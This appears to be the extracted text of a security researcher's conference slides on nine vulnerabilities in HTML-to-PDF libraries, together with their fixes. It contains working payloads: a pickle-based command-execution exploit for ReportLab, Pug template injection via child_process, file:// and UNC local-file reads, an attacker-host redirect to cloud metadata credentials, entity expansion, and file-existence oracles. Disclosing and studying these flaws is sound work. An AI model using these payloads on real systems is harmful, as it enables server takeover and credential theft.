Pedro Cruz (a.k.a gankd)

Pentest Analyst & Vulnerability Researcher

Discovering 0-Days in HTML-to-PDF Generators (120 Million Monthly Targets)

WHO I AM

Pedro Cruz / gankd

Penetration Tester · Hakai Security · Florianópolis, BR

Offensive security analyst focused on pentesting, vulnerability research and bug hunting across web, cloud, infrastructure and mobile. Reported valid bugs to Google, Netflix, MercadoLibre, OpenAI, Notion and PortSwigger.

CERTIFICATIONS

OSCP+ · CRTO · DCPT · CHWI

LINKS

linkedin.com/in/pedr%CE%BF · github.com/g4nkd · x.com/gankd_

CVEs assigned

0-days in HTML-to-PDF libraries

HackerOne (Brazil)

Pending CVEs

Why the PDF generator is the perfect target

Almost every rich app emits a PDF at some point, invoice, receipt, report, certificate, statement. Behind that “Export PDF” button there’s a lot of times an open-source lib assembling HTML with user data.

When input reaches the template unsanitized, the renderer starts interpreting attacker-controlled tags, CSS and SVG, and it runs on the backend, many times with access to the filesystem, the internal network and, with luck, the cloud metadata endpoint.

installs / month across the libs

downloads / month — ReportLab alone

0-days documented in this study

What you attack is the HTML assembled on the server. The document is only the byproduct.

The attacker controls the raw string that goes in.

The backend drops that string straight into markup, no sanitization:

The engine parses attacker-controlled tags with the filesystem, the internal network and cloud metadata in reach.

The file handed back to the user. Renders clean. Proves nothing about what already ran on the box.

Deep Dive into Popular Engines

The nine vulnerabilities

Attack surface & fingerprinting the engine

Invoice, receipt, transfer confirmation Analytics report with a custom filter Course certificate (e-learning) Account export, bank statement Invitation, contract, proposal Ticket, voucher, pass

$ exiftool -Creator -Producer -CreatorTool -Software invoice.pdf

Server vs. client decides whether there’s a target.

Serialization turns a live object into bytes you can save or send. Deserialization rebuilds the object from those bytes. Python’s built-in pickle does exactly this, and rebuilding an object can run code.

01 SERIALIZE

​

A live object is flattened into a compact string of bytes, usually base64-wrapped so it travels as plain text.

02 IT BECOMES INPUT

​

Those bytes arrive through a form field or API parameter. From here on, the attacker controls what they say.

03 DESERIALIZE = TRUST

​

pickle rebuilds the object from instructions baked into the bytes. A crafted one can run any command.

Static analysis quickly surfaces pickle.loads. The core problem: ReportLab's decode_label does this:

def decode_label(label):

return pickle.loads(base64_decodebytes(label.encode('latin1')))

The question is: how does an attacker get their data all the way to that function?

decode_label isn't called directly. It runs inside a method named _indexAdd, which lives on ReportLab's canvas object (the thing that draws the PDF).

​

But _indexAdd only exists if the app enables ReportLab's indexing feature:

​

index_gadget = SimpleIndex()

doc.build(story, canvasmaker=index_gadget.getCanvasMaker())

#1 · DESERIALIZATION · PART 2 — THE FLAW

01

84M downloads/month (PyPI) · fix: 4.4.8 (2026-01-15)

A Paragraph reads <onDraw> unsanitized, but the sink only fires once SimpleIndex arms the canvas.

01 · INPUT

Your text

Anything rendered inside a Paragraph.

02 · THE TAG

<onDraw>

name and label pulled from the HTML, unsanitized.

03 · THE GADGET

_indexAdd

Exists only because SimpleIndex armed the canvas via getCanvasMaker().

04 · DECODE

decode_label()

_indexAdd feeds the label straight to pickle, base64-decoded, unchecked.

05 · EXECUTE

pickle.loads()

The bytes are rebuilt into a live object.

attacker code runs here

import pickle, base64, os

​

class Exploit:

def __reduce__(self):

return (os.system, ('id > /tmp/pwn',))

​

blob = base64.b64encode(pickle.dumps(Exploit()))

tag = f"<onDraw name='_indexAdd' label='{blob}'/>"

​

doc.build([Paragraph(tag)],

canvasmaker=idx.getCanvasMaker())

A class whose __reduce__ returns os.system with your command.

Pickle it, base64 it, drop it into an <onDraw> tag now it’s just “text”.

doc.build() rebuilds it via pickle.loads(). RCE before the PDF exists.

Weaponizing it takes one class. Its __reduce__ tells pickle to call os.system, so rebuilding it runs your command, during doc.build(), before the PDF is written.

One unsanitized field → command execution on the PDF server. And the fix is a single function call.

- return pickle.loads(b64decode(label))

+ return literal_eval(

+ b64decode(label).decode('ascii'))

literal_eval parses only literals, no callables, no code. Update to ReportLab ≥ 4.4.8.

The context passed to pug.render() leaves Node's require visible to the template. If user input is concatenated into the template source instead of passed as a local, Pug lets an attacker open a code block with '- …' and run arbitrary JavaScript in the render process leading to full RCE.

Fix — never concatenate input into the template source. Pass it as locals: pug.render(tpl, { title }), and strip require from the context.

#{""}

- var cmd = require(

'child_process')

.execSync('id')

.toString()

p RCE Result: #{cmd}

WeasyPrint honors <link rel="attachment"> and lets its href be a file:// URL. The file is fetched and embedded as a real PDF attachment, so anyone opening the document can detach and read it.

Note: <link> renders nothing on the page, so sanitizers that only inspect visible content let it through.

<!-- attacker input -->

<link rel="attachment" href="file:///etc/passwd">

$ pdfdetach -saveall out.pdf

$ cat passwd

root:x:0:0:root:/root:...

url_fetcher(url) runs before any HTTP goes out, you inspect the URL, then return the resource to allow it or raise to block it. Same hook for images, CSS, fonts and <link> targets.

my_fetcher("http://169.254.169.254/") → blocked · internal IP

my_fetcher("https://cdn.hakai.com/logo.svg") → fetched · 200 OK

The app can validate URLs in a custom url_fetcher, but the default one calls urllib.urlopen, which follows 301/302/307 redirects on its own without re-entering the fetcher.

The blocked host (169.254.169.254) is reached on the second hop: point href at an attacker host that answers 302 then urllib follows blind.

Fix: upgrade to ≥ 68.0.

# victim renders this

<link rel="attachment"

href="https://gankd.com/redirect">

def go():

return redirect(

"http://169.254.169.254/latest/meta-data/iam/security-credentials/",

code=302)

The blacklist tries to block the file. Does anyone have any ideas on how this could be bypassed?

​

The blacklist blocks file in several forms but doesn't cover UNC. Chromium accepts \\localhost\etc\passwd and resolves it against the local filesystem.

Fix: allowlist (https://, http://, data:) instead of a blacklist. Everything else denied by default: protocol, host and path.

// incomplete blacklist

$unsafeProtocols = [

'file:', 'file://',

'file:\\', 'view-source',

]; // UNC is not here

<iframe src=

"\\localhost/etc/passwd"

width=1000 height=1000>

After extensive fuzzing and testing, I discovered several additional ways to reveal the internal filesystem within an iframe, bypassing the file:// blacklist.

​

Key takeaway: use whitelists, not blacklists.

XML lets you define entities, shortcuts that expand into text. <!ENTITY x "AAAA"> makes &x; expand to "AAAA". Nesting entities creates exponential growth.

<!-- normal entity -->

<!ENTITY greeting "Hello">

<text>&greeting;</text>

<!-- expands to: Hello -->

​

<!-- nested = exponential -->

<!ENTITY a "AAAAAAAAAA">

<!ENTITY b "&a;&a;&a;&a;&a;">

Each pass re-expands the previous entity, so a short chain grows exponentially: 482 B of input balloons into ~1 GB of RAM.

PHP's memory_limit directive (default 128 MB) caps how much RAM a single script can allocate. It prevents runaway scripts from crashing the server.

​

When exceeded, PHP kills the process with a fatal error, but this hard ceiling also becomes an oracle.

Dompdf resolves @font-face src: url(file://…). If the target exists, the font engine attempts a heavy parse per declaration and blows past PHP's 128M memory_limit.

If it doesn't exist, it silently moves on.

That crash-vs-PDF split leaks file existence, even across a chroot. Fix: 3.1.6+ rejects paths outside the chroot in resolveUrl().

# repeat one decl xN

@font-face {

font-family: f;

src: url("file://

/etc/passwd"); }

# file exists:

PHP Fatal error: Allowed

memory size ... exhausted

# missing → PDF renders

Generate HTML with the same @font-face declaration repeated ~5,530 times, all pointing at the target path.

​

POST the payload to any endpoint that hands unsanitized HTML to Dompdf.

On an <img> with no explicit width/height, TCPDF runs fileExists() then getimagesize(). When the path exists but isn't a valid image, a directory, or config.php, getimagesize() fails and Error() aborts with a message that includes the full path.

A 15k-entry list runs in one HTTP request; a WAF watching for 404s or traversal sees nothing, the fuzzing happens inside PHP.

<!-- probe list -->

<img src="config.php">

<img src="/.env">

<img src="/admin/">

# exists → error leaks:

TCPDF ERROR: [Image]

Unable to get the size

of /path/file

# missing → normal PDF

LocalContentLoader calls file_get_contents($path) with no type check. On an existing directory, PHP emits a warning to stdout, but mPDF has already begun writing PDF bytes, so it dies with 'Output already sent'.

Crash vs. PDF is the oracle.

# vulnerable loader

def load($path):

return file_get_

contents($path)

<img src="/var/lib/docker"/>

dir exists → 'Output already sent' → fatal

missing → clean PDF

Same primitive, four outcomes, the render worker runs your JS on the backend.

The methodology — 6 steps

4

With JS: fetch, XHR, cloud metadata, internal net. Without: tag by tag, iframe, link, svg,

5

Encoding, alt protocol (UNC), alt tag, <base href>, redirect, 6to4 / NAT64 IP encodings.

6

Nothing reflects? Response time, status, crash vs. success, error messages leaking the path.

Defensive recommendations

Practice

Practice

Linkedin & Research Blog Post

Presentation Feedback

Any questions?

Thank you